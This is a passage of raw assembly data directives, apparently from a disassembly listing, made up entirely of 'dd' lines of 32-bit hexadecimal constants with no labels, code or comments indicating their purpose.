dd 3481073Bh, 2F192116h, 4B6229C7h, 5E67D825h, 17A1F57Fh
dd 5E6B14D6h, 38590153h, 313F3CDAh, 1E1C95BAh, 30E41DA3h
dd 0A670C823h, 215D2DDEh, 0EFEC962Dh, 0C9B3112Eh, 1412368h
dd 39FA8B8Bh, 0B5C4B808h, 0CA334A3Bh, 94A21919h, 3F812343h
dd 952022D4h, 232BE899h, 8DAB2AFDh, 40339399h, 49938B30h
dd 29FB0807h, 0A3384BA5h, 645E3EBCh, 30474B22h, 0CC526D24h
dd 633B5D60h, 0BD3CDF59h, 0A7E9DA36h, 0E83E3432h, 6E3A363Eh
dd 0FD7932F3h, 11D85D14h
dd 162EE5FBh, 6E2AEE72h, 2D4B3353h, 52A4E32h, 3C34D2D1h
dd 31FA2C83h, 26DAAB7Ch, 67E47229h, 910819BFh, 2E0C1F5Eh
dd 675771C1h, 16BA62B3h, 0C792A2Ah, 47B2A428h, 148AF1C4h
dd 1C4434A4h, 2F9B7CE8h, 8D1E0D54h, 0BC0C31Fh, 0A1B25183h
dd 0D64054D6h, 0E128948h, 62244FE6h, 8B219D2Eh, 0B82B1231h
dd 6165653Eh, 403F3F8Dh, 1F139478h, 0F1E6A024h, 0E42E253Ch
dd 0E72A2EB8h, 2F112D53h, 0B3320933h, 0BC603D62h, 3B321D4Ch
dd 3F546B6Ch, 0E208E31Ah, 0A323F80Bh, 27A5DC5Ah, 2977EEACh
dd 2220666Bh, 63DDBB7Ah, 0C636146Fh, 4CF8B2h, 3F7D3E7Ah
dd 196C1DCFh, 22AE6092h, 2625202Ah, 29D949CEh, 0A4259963h
dd 0D9320D9Ah, 0DC3CF3D7h, 1936E772h, 0B3D3B32h, 0B49F3A0Fh
dd 321D2A39h, 27A37252h, 609419h, 2D794241h, 369BE6A5h
dd 0B63B30B3h, 0E19DE637h, 0BEF738B8h, 19BDF63Fh, 0B51C9FD8h
dd 9F20A3E0h, 0A59E27A6h, 29A89D2Ah, 2DAC9D7Eh, 31B3EDD8h
dd 0C851B590h, 0B9921C6Ch, 3DBC913Eh, 0AA1F9EABh, 9A23A24Ah
dd 0A49926A1h, 28ABE825h, 2CAF79EFh, 7266AA7Ch, 153502B8h
dd 507D15B7h, 0F025B9FBh, 385C81D7h, 56C1A1Bh, 254E210Eh
dd 0ADEFE9AFh, 252C9F0Eh, 0B94CC729h, 21106734h, 6B3B175Ch
dd 0BCFAF5B1h, 0D81A3C38h, 26D77FF5h, 0E4570665h, 0B9342660h
dd 0C4292D2Ah, 347AED74h, 3CF48A37h, 453FFE98h, 69AF32F0h
dd 9CB636FAh, 1AD6631Eh, 4627E86Eh, 7D224271h, 42002D40h
dd 2B496C28h, 375A6406h, 2A325C32h, 7C283D5Fh, 0F7773A3Dh
dd 0FCA5CB1Eh, 83301849h, 0A6BA950Ah, 35AABE26h, 0AFDD3A0Bh
dd 0F28D7201h, 5C1D7219h, 2A42983Bh, 0F628C323h, 43F0E1Eh
dd 70809B11h, 1682062h, 903473Ah, 2D30466Bh, 2B9C2ABh
dd 0BC3078BBh, 4D3064B6h, 3D79B015h, 681BBF7Eh, 28679535h
dd 0AC2F62AAh, 290760ACh, 28282AB7h, 0C82FADC7h, 643446CEh
dd 38BF23CAh, 0B73A38E5h, 67C3D6F3h, 41E1E07Ch, 232AB1E3h
dd 374C1A29h, 900141D7h, 8E4A152Ch, 63363130h, 3713BC50h
dd 6C9A683Ch, 0B8F9C4B7h, 1EE24E1Bh, 0A5AA201Fh, 0AC2624BAh
dd 0C24066AAh, 7EA2AC32h, 0D1BE18A2h, 3B3AB431h, 0B4B33DB7h
dd 3D3DAFBBh, 899A916Fh, 70221D9Eh, 0E11D6AA6h, 0B8C1D8D9h
dd 2F2C22AAh, 3C5BA0A3h, 0C01020B2h, 0CE1BB4FCh, 321FBAFFh
dd 1C6D3DBBh, 481E7429h, 25152321h, 0EB033AA0h, 2C3414F6h
dd 30B750A6h, 1F332332h, 0B9398F62h, 1847B782h, 5FF9533Dh
dd 1E1E7138h, 458921D3h, 4FD0168Fh, 288E29D7h, 0B686D7Ah
dd 2830919Ah, 59302034h, 39BB7E19h, 1B1A79B4h, 0B6423EF3h
dd 72C90D1Eh, 471C3A1Bh, 0CA10E61Eh, 7B17C712h, 890AB814h
dd 800EDA08h, 7004C30Ah, 0F4036805h, 1C22F601h, 1F0721h
dd 791B6F1Dh, 99175219h, 2D13F315h, 31327F2Dh, 3634AF33h
dd 9540769h, 0DB60B42h, 2CB60F9Fh, 10F42EDBh, 0ECA8740Dh
dd 68376610h, 0C560789h, 603D2ECBh, 5C8AE260h, 2C377244h
dd 7C2C5B22h, 18FF0B85h, 800A3F20h, 29211DC0h, 202E4F21h
dd 22EE6642h, 450A0978h, 0DB603260h, 1F3FF726h, 3E3B30FCh
dd 0DF1032DCh, 58904C12h, 7CA8005Fh, 0B6FFCC1Fh, 6B21ECDFh
dd 79317D4Bh, 1295F3C7h, 22E56223h, 0E8ECC765h, 3AEA343Fh
dd 319C332Fh, 7F109641h, 21A49B7Fh, 56293539h, 222C240Dh
dd 6830292Eh, 54F8318Bh, 31D4B436h, 3D6A6E69h, 3867B469h
dd 0A1727A1Dh, 6D24E721h, 7B574B46h, 697926E9h, 342F1DADh
dd 55703390h, 59B77EF3h, 59575E57h, 193D3B3Dh, 6B835D0Dh
dd 8B026745h, 0B76F2324h, 57A646Bh, 2B2E22ACh, 4012A210h
dd 35365B4Dh, 4F5B32D9h, 5C5F491Ch, 0E12E0400h, 3ADE4A4Fh
dd 86727372h, 0A13EA809h, 6F3E801Eh, 0BFD010BDh, 643C16B7h
dd 0EC7BC767h, 0AAB0F6FAh, 1CDC2F1Bh, 0DE729F4Fh, 190A8F4h
dd 2A206752h, 294FE6CBh, 0AC044779h, 0B7353230h, 47B16136h
dd 2D42B23Eh, 96F6D4E9h, 0A01EB29Bh, 74366C88h, 5AE09F74h
dd 0C4AF6A20h, 0BD532E37h, 348ADE64h, 38D59CDEh, 49B26838h
dd 0FFD7D22Dh, 52889D3Fh, 7D2A7ED4h, 59A4E517h, 76CFA273h
dd 696EE2Ch, 323270DEh, 48F732F7h, 1557393Fh, 0B6311C15h
dd 485B2C15h, 2E6A2310h, 0D9DA7545h, 257C9C20h, 442F2C29h
dd 7C81D82Bh, 0B3393622h, 37184CF7h, 22CB733h, 52530BB6h
dd 28DB1F1Eh, 0DA4E22DDh, 0A5504F36h, 8CA96B69h, 61202B2Eh
dd 5511BA56h, 6F20DB48h, 0FA760F32h, 1CE4373Dh, 0A084F61Dh
dd 0EF2DCB28h, 0DC2699A5h, 0B8A61FE9h, 312F4209h, 345B3031h
dd 2C372634h, 1A3B683Bh, 900A7EADh, 0F23E98F4h, 0DEA3795Eh
dd 2F5B2026h, 7AEEF28h, 2C2E2C44h, 73CD3303h, 335CFF31h
dd 3F36F940h, 3AFEFED4h, 9E39B090h, 7222601Fh, 92CDE9A8h
dd 227E2166h, 0AF6539D4h, 0FB02C00Dh, 43C47408h, 0AA2CC752h
dd 7E004DBBh, 1F1C1F0Eh, 0F6E1236Bh, 0CECC4777h, 651D0627h
dd 32D222Ah, 0B167A9F8h, 6631F3EDh, 55A2FF7Eh, 0FD46F378h
dd 0F3D34D1Ah, 24D7569Ch, 0EC78E87Ch, 0D55EFFCCh, 1AF32BD6h
dd 380FC2ACh, 0A4BE3031h, 6B341271h, 0AC0E97B9h, 0F23F41BCh
dd 1E1E774Bh, 27A9204Ah, 6DE784A9h, 0D3A9FFD7h, 37537D2Dh
dd 3072A4BBh, 3E427938h, 3FD2F1B3h, 34FEFCBCh, 1F1D74F3h
dd 64612329h, 4C3D41E3h, 36AAEE26h, 2F20AC0Ah, 0B2FFBB7Fh
dd 67CA6C63h, 0A7B03837h, 152DFCAAh, 354C56BFh, 611B5293h
dd 0B4657327h, 0AB3DE40Ch, 2EEC3F7Bh, 0D9396E62h, 3F143138h
dd 0BA321794h, 176C5BFCh, 5C111B68h, 603143Eh, 0AF0CE62Bh
dd 4D874645h, 0AF744877h, 6F2712E9h, 3B6CADBEh, 33373935h
dd 6B6D6939h, 5BAE62DDh, 61419009h, 0CCCA3520h, 0C62B1934h
dd 26BA2B6Dh, 4715AF9Ch, 800BAF9h, 3868F5F2h, 0FAB0F8ACh
dd 35211453h, 0E1115B08h, 3225041Eh, 0ECCD7415h, 8B0A5838h
dd 310D4316h, 367AC12Ch, 0DE4D6563h, 390AA32Bh, 2E727CD0h
dd 129519DEh, 0CBF1AB9h, 2F19317Dh, 2B55E7A3h, 7DEC18EAh
dd 0FD32ADE6h, 0B7E431B0h, 0BB6DE334h, 3FBEE338h, 0FC19BDE2h
dd 75FB1C9Fh, 0A6CB20A3h, 2AA5CA27h, 0D829A8D9h, 0C82DAC20h
dd 9DB230B3h, 393713CAh, 3870386Ch, 99373CBFh, 1E5C111Eh
dd 24A07480h, 0BF2767B8h, 69BE286Ah, 0B72BD329h, 0D16233C1h
dd 35DD6636h, 43383DEDh, 3DBE3F3Dh, 1C122F19h, 2394301Eh
dd 24279421h, 2A2B2734h, 220A1429h, 30801DE5h, 0DE3786D3h
dd 3E30F789h, 3935EE38h, 2B7AE63Ch, 2183ED11h, 0C1862C11h
dd 319027E6h, 0A629AB9Fh, 0F1600BA2h, 6B6B3331h, 3935BE52h
dd 0BC98603Eh, 0DF187EFAh, 0EC1F1D8Dh, 1BDC221Eh, 37271925h
dd 332B3529h, 2F2F312Dh, 0CB332D31h, 3828362Ah, 3C243A26h
dd 1B203E22h, 1F011D03h, 3C223EDFh, 38263A24h, 0EBAF2CC8h
dd 2C697959h, 37F22DE2h, 3475315Eh, 48397902h, 427E2C0Eh
dd 4E89389Fh, 0C8C9221Ch, 0A323144Ah, 322E48E7h, 2A982EBBh
dd 76A5B020h, 0B5DD2717h, 717B5839h, 708D3CBBh, 685CEB2Ch
dd 325EDF1Ah, 0A52E2269h, 454277Ah, 17500456h, 4D300D52h
dd 49173372h, 391D3436h, 183E3B49h, 6F3E1F4Dh, 2015131Dh
dd 27230224h, 470A2605h, 49452B29h, 432F0E59h, 51415359h
dd 38535715h, 18555354h, 7E5B111Dh, 6B7B711Ch, 5A0D0145h
dd 0B3CE313Fh, 34AEEC7Dh
dd 47352D48h, 630735F8h, 0E3E2DD24h, 0BB2240BAh, 0BD2F2927h
dd 98F50862h, 0CA2D399Ch, 3FA6B501h, 0AB18C033h, 0AD138C32h
dd 0DA29B836h, 722CB592h, 21B92813h, 713F3019h, 984FF323h
dd 84E4F02Dh, 0F8CC1A23h, 56EC26C4h, 152DC824h, 30D0E2C6h
dd 2243213h, 0B969B9BBh, 0A24FD338h, 3F18DE7Bh, 0C8291DF9h
dd 0D122C042h, 29C42B87h, 0CE78C21Ch, 31CBE92Ch, 77DB0619h
dd 0DCAE37D7h, 0B6D30938h, 703EDC0Eh, 0F72C1CF8h, 0E722F2EAh
dd 72EA53Ch, 2B2DE87Ah, 2F66EF15h, 30CD592Ch, 0F70FF534h
dd 2B0A0D30h, 0BF66513Dh, 95029C0Ah, 726529E7h, 7E47674h
dd 7A010C63h, 8F0E2E2Ah, 0B7CECD40h, 227540CCh, 4EC6C7B4h
dd 0E38BC34h, 0F54A4B1Fh, 7537AE13h, 2DF4E942h, 0C1D71474h
dd 295CA990h, 100C2FA5h, 0BC6482F4h, 0D1B49AA6h, 0DC3B3B3Fh
dd 92F32B84h, 505E3E1Dh, 9A858ABh, 89A5FEF5h, 0C46CF239h
dd 602B9E8Eh, 35936719h, 0AA353476h, 296B3B38h, 4C6DF5B6h
dd 1C1EF91Ch, 0C3F0AA83h, 0FAD6724h, 0FBB1A7A5h, 2EFFEF16h
dd 0A7E7637Eh, 37E480BFh, 9E78BF31h, 7DB1B693h, 111D13E4h
dd 2D212F1Fh, 29252B23h, 25292727h, 2E22532Bh, 323E3020h
dd 363A343Ch, 6BBD3838h, 0B19B7AF7h, 9D1D2CD3h, 0ABE7940Bh
dd 1FEEA932h, 355D3126h, 3958E2AEh, 30602BA4h, 34623532h
dd 39BB3943h, 0FBBF39FAh, 69D2BB3Ch, 0E02CFE1Dh, 0E43827CAh
dd 0D7FFA6A6h, 0A824EAACh, 143F2EB8h, 3A1DD28Fh, 6373F40h
dd 6431D338h, 1BDC0064h, 6FD31E6h, 0FC22F110h, 88608A7Dh
dd 5C6C866Eh, 76F16B83h, 0D37568E8h, 336FE312h, 0D3F63A68h
dd 9F85DB4h, 0C1348F5Ch, 0FD78FF46h, 2C7A2E7Ch, 20762278h
dd 9E8475F2h, 368E602h, 0DE316537h, 0FC6208DDh, 1B3F28CBh
dd 77191B6Dh, 4B037503h, 30343C20h, 7B514D76h, 0DC2D90C2h
dd 0BA04EB3Dh, 5C6ABECAh, 3D28F19Ch, 0F83A4B3Bh, 3C4B217Eh
dd 9074209Ch, 4B21035h, 0EC66A4A4h, 102C3A9h, 0C10B293Fh
dd 1E33D333h, 85DF8606h, 0CC1C8AB0h, 182FFE3Dh, 0EB2B75Eh
dd 0BDAF2AB0h, 0AC17F479h, 668EC1E3h, 682ACCA1h, 71BDC01Eh
dd 1E223586h, 0D93F9925h, 50B0689Dh, 1EBD4905h, 0A71A6226h
dd 4732631h, 1CA33B30h, 0F1B3E1Ah, 1D93BE7Dh, 201F3542h
dd 8F01383Eh, 63D2D12h, 1C5C3357h, 0C949513Ch, 2B248420h
dd 29BCA9ACh, 0BB2CA129h, 61332FBDh, 355C6163h, 39D9ABF3h
dd 103FD33Bh, 4423E3Bh, 6CE471Bh, 2493DDDFh, 28ECCF24h
dd 4C64A72Ah, 31AFC6A9h, 0DCF8B94Ch, 0B33543CAh, 0D46DC4A9h
dd 92384E6Ah, 0C42E9C24h, 226727F0h, 762F653Ch, 2D1B113Ah
dd 10330029h, 25F11522h, 36C0241Bh, 3432F9BBh, 0AE38BAD3h
dd 30628C34h, 3AC970EEh, 0AB92Dh, 29292B28h, 0A529087Fh
dd 167312Fh, 9A342566h, 7A8D3923h, 3F3C0109h, 1C184EABh
dd 0D223E92h, 3478206Bh, 607D3C27h, 2C3D5F29h, 0BD313E24h
dd 90B03226h, 0E9C13356h, 39B45343h, 1D1BDB3Fh, 211EF6B7h
dd 0B82226A1h, 29F02725h, 28478028h, 346E022Ch, 34597D5Bh
dd 52385C26h, 186FB73Dh, 1F55167Dh, 1D62F54Eh, 276309BAh
dd 242624BEh, 0B72AB1C0h, 69A3FD7Ch, 0AF366102h, 31AA3502h
dd 8C84FDAEh, 5530AB3Fh, 1B5A1C02h, 236D8254h, 17CD7568h
dd 2A2B632Dh, 2F606E60h, 8EB2342Fh, 43373302h, 3ABDB200h
dd 3D3DB01Fh, 3168DBBBh, 0B1A7AF5Dh, 1B0AE22h, 7826A72Ah
dd 0B5447EA2h, 24CF0FBCh, 30B3B3C2h, 0BB94B2B7h, 0B638D03Bh
dd 108D1B52h, 320F3F2Ch, 31BCC211h, 8D82539Dh, 7C79B7A9h
dd 70FF05A5h, 6150671Bh, 481D5C2Dh, 548313DFh, 0F36A3614h
dd 377E4534h, 9B05C1A8h, 1772762Ah, 0AF164114h, 72F5ACCh
dd 0FF6A0D80h, 64B4E108h, 0BD321139h, 0B77B6D6Fh, 4C95BC3Ch
dd 422D1DEFh, 868218BEh, 290FE1BBh, 0CF3A8C93h, 36DE7D2Bh
dd 0DBE3373Fh, 393B4327h, 233E3EEBh, 25BB1830h, 2BD221B0h
dd 255013B2h, 0F285308h, 330E275Eh, 3030235Fh, 0E330B22Ah
dd 0B1475E84h, 0AC8DB272h, 0BE076E62h, 82B6EE1Dh, 84A98E21h
dd 2970C325h, 242AED68h, 37FDAC25h, 0B23BF2B2h, 0B630F83Dh
dd 0EF3473F8h, 0F3677F32h, 2A5E8EBFh, 0AD7CE72Ch, 732A2BB6h
dd 2BA12D0Ch, 0E61D7B2Dh, 0F50903BBh, 0A3396BF4h, 0F0FBB3F9h
dd 7F323030h, 494B4F4Ah, 4A61D994h, 4B25672Fh, 0C33922A5h
dd 1CA91A61h, 223AF101h, 0D03EF530h, 4FA8F29Dh, 6E353D35h
dd 0FDA133Dh, 55CE5B16h, 0CCF817E3h, 9129E7C0h, 272EAB70h
dd 303A29B0h, 3D36FD0Fh, 0FFD1E332h, 3F84333Bh, 141D4136h
dd 8B0977D9h, 4DE724E1h, 2714F616h, 18891E29h, 4C91A8Ah
dd 0A0732DAh, 3902DE00h, 0A3B180Fh, 2DDF0874h, 1F7C2A38h
dd 92154617h, 0F311EA13h, 13391E28h, 17431516h, 0A70A319Bh
dd 0DE0FE20Dh, 13A0201h, 591076Ah, 1E94275Eh, 0A71A9224h
dd 3235CF00h, 6B2BD7A4h, 0C535522Ah, 0CDB2392Fh, 0D244130h
dd 134402F4h, 6BDDA52Ch, 22F926DEh, 0C383FD62h, 246C6723h
dd 28CB4CCEh, 0C52DC902h, 0F26AC72Ah, 60547333h, 50DA34F6h
dd 3F7C7D38h, 471A8F61h, 909D1CF6h, 383FE220h, 0DB25CFE4h
dd 0E62BA182h, 0D1AC3647h, 2599C132h, 0B3CA30F5h, 993FFBF8h
dd 5A3AF6B6h, 13DAB918h, 232498F0h, 2BE66027h, 6F2129D2h
dd 2C6F1508h, 0F2DA278Eh, 923275AAh, 0B80A86F8h, 0B7363DF8h
dd 72953417h, 3AC222DFh, 1E8B3582h, 1888CAB2h, 4FD55309h
dd 534E0F2Eh, 77AF7E32h, 67588D1Bh, 591F78FBh, 1E7DB2B5h
dd 23204C28h, 79AA0143h, 7E7A38A4h, 0C8AE3028h, 733D2B6Fh
dd 42A61B96h, 9CBB3517h, 43223A5Bh, 7C3DFB1Fh, 47401F1Dh
dd 619C2024h, 0E8152632h, 0ABB67C5h, 2EAFBD29h, 3CB9A811h
dd 36BF36B5h, 953B2179h, 92C0C1A2h, 7D9195Ah, 4222966h
dd 662E33E0h, 7B227F2Ch, 0E48E75C4h, 47B939BBh, 573A11A0h
dd 335A6883h, 3D3E9276h, 118FBD52h, 2270C4C3h, 574D76D4h
dd 7B4C7A26h, 736FF12Bh, 1FE39587h, 38083660h, 53398912h
dd 0A6FBBBAh, 19638CCDh, 0E02A1E7Fh, 0F78D567Ch, 78BE976Bh
dd 444EC02Ah, 6372FD58h, 39737103h, 2E3866B3h, 0F7DE5508h
dd 1DF9EDD6h, 21FC17A6h, 0E6CB3600h, 0CC5527C7h, 9EC30A28h
dd 192ECC68h, 0DC2C33D5h, 0D837C497h, 3CC8329Bh, 0E9ADD623h
dd 1FEA8A1Ch, 0A1CA3C38h, 27B725D4h, 79A4A434h, 0C72F6D62h
dd 3633C342h, 132D34C0h, 3BC85BD0h, 3F3FBD9Ah, 0C2754919h
dd 8417645Ah, 6E1BE4DCh, 6E7B790Bh, 4BEC771Dh, 1E156CA7h
dd 0BDB80373h, 38123AA5h, 6E37BCEFh, 0F56255B2h, 33A004F8h
dd 0A51B0AE3h, 0AD5C2234h, 6D2DAB0Eh, 6131452Dh, 0EE07FDB9h
dd 79BEDF9Ah, 3EFC6B23h, 0DF1FD70Ah, 0B3BE5645h, 0B6CB2C20h
dd 2B3B0D6Bh, 2B093608h, 0D83F2DE5h, 2830F61Fh, 88F080DDh
dd 6938F319h, 128D3DFDh, 17168DE5h, 634DA11Dh, 4F285020h
dd 0E87E0B38h, 0B7C63128h, 0DB2A33C3h, 36CFEEDAh, 7F78D939h
dd 2F63EC18h, 0FF5404Bh, 0E9133DFh, 666526C3h, 6A18790Bh
dd 0E3C5082Ah, 32B1324Fh, 7664F213h, 0BD13A36h, 2EB4309Bh
dd 151C9136h, 0A52FD69Ah, 25272387h, 133FAD75h, 6D255EE0h
dd 3D316F2Fh, 0C240230Ah, 393B3F58h, 0FDAD33B8h, 97F0B9EDh
dd 64BF1D13h, 0CCA33210h, 0A3F72D2Eh, 160B2E6Fh, 3323702Dh
dd 0BDEC31F3h, 0B5333673h
dd 6C1F1E7Dh, 923F30B4h, 41971572h, 23ABC92Ch, 0A4242527h
dd 757531ECh, 0AC7570ACh, 0A3F171F4h, 36377B9Ch, 3A3AD8C2h
dd 3E3F97F6h, 0F01C1D51h, 235DE1FFh, 27A30E22h, 2B284A26h
dd 1B2C2C15h, 3070651Fh, 3C34352Fh, 0BBC53936h, 3FA8D087h
dd 1C1DC73Eh, 39211ED6h, 7099E2FFh, 288A2567h, 2C2DBF2Bh
dd 0B3312EA2h, 0F1B739BBh, 3280F43Eh, 633F3B92h, 1C8B1F3Fh
dd 2003D21Dh, 644B7421h, 1B2624EEh, 39D42ADFh, 312DF649h
dd 10337EBAh, 0BB36BD3Dh, 3C4EC5C1h, 0F36E6826h, 0E0E3191Fh
dd 0A8AC21A9h, 0D86027D4h, 692B413Dh, 0EC70EB2Ch, 5A465D45h
dd 43364C76h, 6C556D5Dh, 0F5B5955h, 6C7C7458h, 3AE10A9Fh
dd 74A54F40h, 5F465B42h, 27AD4F59h, 0B332658Bh, 71535B7Ch
dd 1B7B6F33h, 0DD3EFB26h, 1919513Ch, 227E315Eh, 57410376h
dd 0AE464E4Bh, 6D2E2BBDh, 0A6C2DCEh, 0BE1BF2CFh, 9218CA60h
dd 3D3BFBA1h, 5C175EA5h, 248CFF1Fh, 3DDC6575h, 4EA7262Eh
dd 0EEC7AB2Dh, 0F92FAD8Bh, 63F301CEh, 38C5CCBEh, 0BFEACD97h
dd 9A6038FCh, 1DDCE45Eh, 0E7A32656h, 45E52426h, 2F9E697Ah
dd 0EE018F2Dh, 3641A331h, 0F6068A3Fh, 0FF434639h, 92D953Dh
dd 691CDC85h, 0E052277Ah, 3E50E22h, 2BEBFB2Ch, 2B2A4998h
dd 33F09918h, 37F145A3h, 0D338FAA4h, 0F36F3B5Eh, 63521AFDh
dd 0E3DF1EDAh, 0A5F66B23h, 111926E2h, 0B75C2B5Bh, 307142FDh
dd 7534F2E9h, 3949D4ACh, 50D72A8Ah, 0DDE83E7Fh, 0DB03AE1Dh
dd 0BE332250h, 99938826h, 0CD2B6A69h, 30EE3DB4h, 8133F32Ah
dd 0F914AF85h, 3CFA1139h, 6F0CA7BDh, 6F25FB1Ch, 0E3845420h
dd 677B3033h, 5B782914h, 0D01E2D09h, 0EF71AE7h, 37B6549Ch
dd 531F4A3Ah, 645F3AECh, 2DBCCC01h, 7322549Bh, 4FCD142Bh
dd 0D82A78A4h, 8EFD5829h, 34A14824h, 1EB569F1h, 0F60CB30Eh
dd 0A2E609Bh, 1FED97CDh, 29735F76h, 138574B3h, 7D98044Ch
dd 0B6AC282Ah, 95BEE9D1h, 855AA8B2h, 9CD06232h, 24D9397Ah
dd 5F80BF2Ch, 39FE061Eh, 28E7A17Ch, 0EA52BDE6h, 0A90BCA41h
dd 502050EDh, 28139018h, 11D7FE1Eh, 3E5BA479h, 0FE7C976h
dd 39FE944Fh, 4BAC61ADh, 254FE530h, 3B59E978h, 0E97F2F2Ch
dd 3C165574h, 472C46D4h, 72DA3AF8h, 0FF0C2B35h, 0DD1B1D76h
dd 0E32948DFh, 292724CBh, 292995A3h, 3329A778h, 646C315Bh
dd 1299B964h, 46181C11h, 1A82143Bh, 0D49F7E1Eh, 0E113E016h
dd 0E0CCE3D3h, 0E72FF7FCh, 0CD8DA5C2h, 0A031EF75h, 3BBD3B97h
dd 89240F96h, 4E04F93Bh, 683D200Fh, 0AB3F1639h, 0DAA875F0h
dd 0E8141B35h, 7A1619A8h, 59C7E4A6h, 3B3853FAh, 33280A1Eh
dd 7D8A332Ah, 2CD76C6Dh, 0F71D3D03h, 24412149h, 5747A784h
dd 9B0A3E18h, 2E2E5F01h, 0AC773363h, 8031E544h, 6484A38h
dd 5E385ADEh, 321D9C13h, 0B0323FBFh, 5532F521h, 5E29FD1Dh
dd 0E974344h, 0A748281Fh, 6674E43Bh, 3BFA31AEh, 4B525F1Bh
dd 8E5D7F53h, 0B126501Ah, 87AB66E1h, 0DA93CB6h, 0AC440CAAh
dd 71A0AA09h, 0BE346561h, 6E601342h, 3DB1C2B1h, 53964160h
dd 0E748F62Fh, 0AF53A240h, 0E84DCEEEh, 0A9B82A33h, 332F91A5h
dd 72BE87F1h, 881B420h, 17D36A4Dh, 1F7F363Dh, 7D1FBD3Fh
dd 57E2A446h, 7B68AE0Eh, 0DA41D99Bh, 7FEFC55Fh, 8A351031h
dd 25B33545h, 3C5B2554h, 0A7CCD56Ch, 837F700Ch, 0CAEC225Dh
dd 0B921A4A7h, 0C235292Fh, 9F288FCBh, 0DA5D652Dh, 290AAE99h
dd 3521A75Bh, 313D333Bh, 19D8983Bh, 0A87FDF2Dh, 3E79A802h
dd 697E8367h, 2DA70160h, 456C382Eh, 7535B316h, 71237709h
dd 3D01207Ah, 1E1B3E3Ch, 2BA13A68h, 671CE4DAh, 35E7984Eh
dd 302E459Ch, 31AF346Ch, 35B32C33h, 0DF9EDE65h, 0BD0EC5C5h
dd 1AEF2BC2h, 0F7D18542h, 6A2541F2h, 6E10D941h, 1AD3194Dh
dd 734ED2D2h, 612A2891h, 0EC6AD11Dh, 0DB62960Ah, 2CD53F5Ch
dd 0DF7CBD30h, 27057093h, 0AD278491h, 420D2CABh, 7072288Bh
dd 32F10372h, 3BBC5068h, 0FEB83C37h, 2D72D43Ah, 56341ABEh
dd 40001E9Fh, 0AE258360h, 0D60866E8h, 0C52C2BB3h, 31532F10h
dd 516A3B53h, 5A280956h, 823C3E5Ah, 51B200Bh, 31E0741Dh
dd 0D74B1440h, 7814A6B0h, 8A35291h, 7ED2C2Dh, 745BE3D9h
dd 6D64760Bh, 3F333AC1h, 92BB3D3Dh, 96981C29h, 23232115h
dd 12AF8154h, 1EA36BA9h, 2F726E2Eh, 0CC622173h, 0EB61921h
dd 299FF03h, 1D4A7ABDh, 9945497h, 0E07F6E9Ch, 69252C25h
dd 0DBA267B8h, 2E0FAEC3h, 34F6CFD1h, 3676D45Bh, 0D2163833h
dd 313B426Dh, 11B99ABEh, 2E264711h, 249021EFh, 0A4794EF1h
dd 2DC40D67h, 0CECDED77h, 35A7A5B8h, 0F4B33436h, 3DB3AEB2h
dd 9A913F3Dh, 0A81C1E89h, 246EB2A4h, 7E667635h, 0A7A670A9h
dd 86C7BCEDh, 0F5913271h, 3DF76425h, 0D53EFF11h, 483CBA3Dh
dd 4F4D361Dh, 2D627273h, 2966116Eh, 0B3206940h, 6B38ED7Ah
dd 5B27CE38h, 37F63CF1h, 0AF32B23Bh, 70BF7518h, 1F1D269Bh
dd 0B4A52F57h, 0B6382023h, 3A902FA7h, 2C2D13D4h, 168D52AFh
dd 36560D90h, 9002610Dh, 5F013000h, 21AA273Fh, 1C422217h
dd 3E1973E2h, 2F485118h, 0D29ABD3h, 0A135AF0Fh, 25533032h
dd 3908852Bh, 0C100B86h, 2DF00EBBh, 752D5E1Dh, 0B311AC13h
dd 0B8C2A417h, 5B183F12h, 66FF971Eh, 34F3A730h, 34343628h
dd 393B4A30h, 43FFF2Ah, 4A3C1E1Ch, 620F21E1h, 27671D24h
dd 652A686Bh, 762E6CA9h, 33173331h, 37475137h, 19AA1F76h
dd 3F7F3C7Dh, 1F5E341Ah, 635B4A1Ah, 2734A123h, 5B48980Ch
dd 2EB5002Bh, 4D23FFECh, 39353B3Ch, 6A17D337h, 8DF00AD3h
dd 1B0CCB27h, 0A151618Ch, 3E44FBD5h, 19C8A4E6h, 2EC33265h
dd 32D536A3h, 36A52547h, 0BA363356h, 4B3E43C2h, 548B1F37h
dd 40051095h, 72832A4Eh, 62CF7572h, 6C1929CFh, 312C2EA1h
dd 0B12B9771h, 0B8B339CAh, 56383A39h, 0E43E5425h, 5F176109h
dd 23D2AAA3h, 53D0A096h, 3EEAAC4Ch, 251DAD38h, 0B33331BBh
dd 0B7322735h, 7B38D239h, 0B63A437Eh, 6090221Bh, 23214A0Fh
dd 0AF726473h, 6CEE2461h, 71122FAAh, 0A120F6DAh, 5CD54835h
dd 11351E96h, 3EC4FDF3h, 12D3203Dh, 2220B19Dh, 0C03F2323h
dd 12D7D841h, 262658D2h, 91EA2F8Eh, 0DEDCB832h, 0D6B36334h
dd 0FCF13BFAh, 236BE73Eh, 0ABC2DE1Eh, 0B1CB71EFh, 3F077CD5h
dd 3F2F143Eh, 603C2F1Bh, 70203313h, 0AAB19FDBh, 0FCD24EB4h
dd 0DA9625E7h, 9E429014h, 2AA33122h, 0A12FA7ACh, 6223AFE0h
dd 0C1C7F138h, 5E85F063h, 0B9903DB6h, 0F526B830h, 353F353Ch
dd 141C49DDh, 5C2422EFh, 86FD2A6Bh, 18DB1AD8h, 1CD24BABh
dd 0C3F029h, 0C9688EAFh, 0C5359705h, 9E0ED409h, 2FEA8276h
dd 13DFB083h, 7A3D11D8h, 219F15D9h, 0DD271A2Ah, 3AC1A425h
dd 111CABA7h, 67E377Bh, 6D7F65B7h, 911BF4B5h, 4E920F63h
dd 2531CA07h, 0D3333EB6h, 6133A283h, 31E836B0h, 23320B59h
dd 2BF760DCh, 1CEA6F78h, 92164AD5h, 81E4E008h, 37A35534h
dd 2316E4A7h, 6A88DCC1h, 45262039h, 0D25A39CFh, 533E7595h
dd 0AB3E3999h, 1AB7596Ch, 16F168DBh, 0AB6139DFh, 0D9757470h
dd 0A125A871h, 0AF4B246Dh, 322830EBh, 0C96E6A6Ch, 19D158D7h
dd 0B53E3C3Bh, 90103F7Bh, 0A25C1F46h, 0A4211F61h, 29A80F65h
dd 2F2C3B2Bh, 30F04CAFh, 0CACBC332h, 0BA1C33BDh, 6D283BFEh
dd 2DD8FF0Fh, 0DF1F7ACFh
dd 2F91299Eh, 74AEB628h, 38AB36ADh, 68E6E35h, 2C1EF600h
dd 33D46464h, 0B23431EEh, 0E4C1D1ADh, 0AF485DE3h, 0DC744121h
dd 32BD3675h, 2B253CC7h, 2F212D23h, 29D8313Fh, 2DD7291Eh
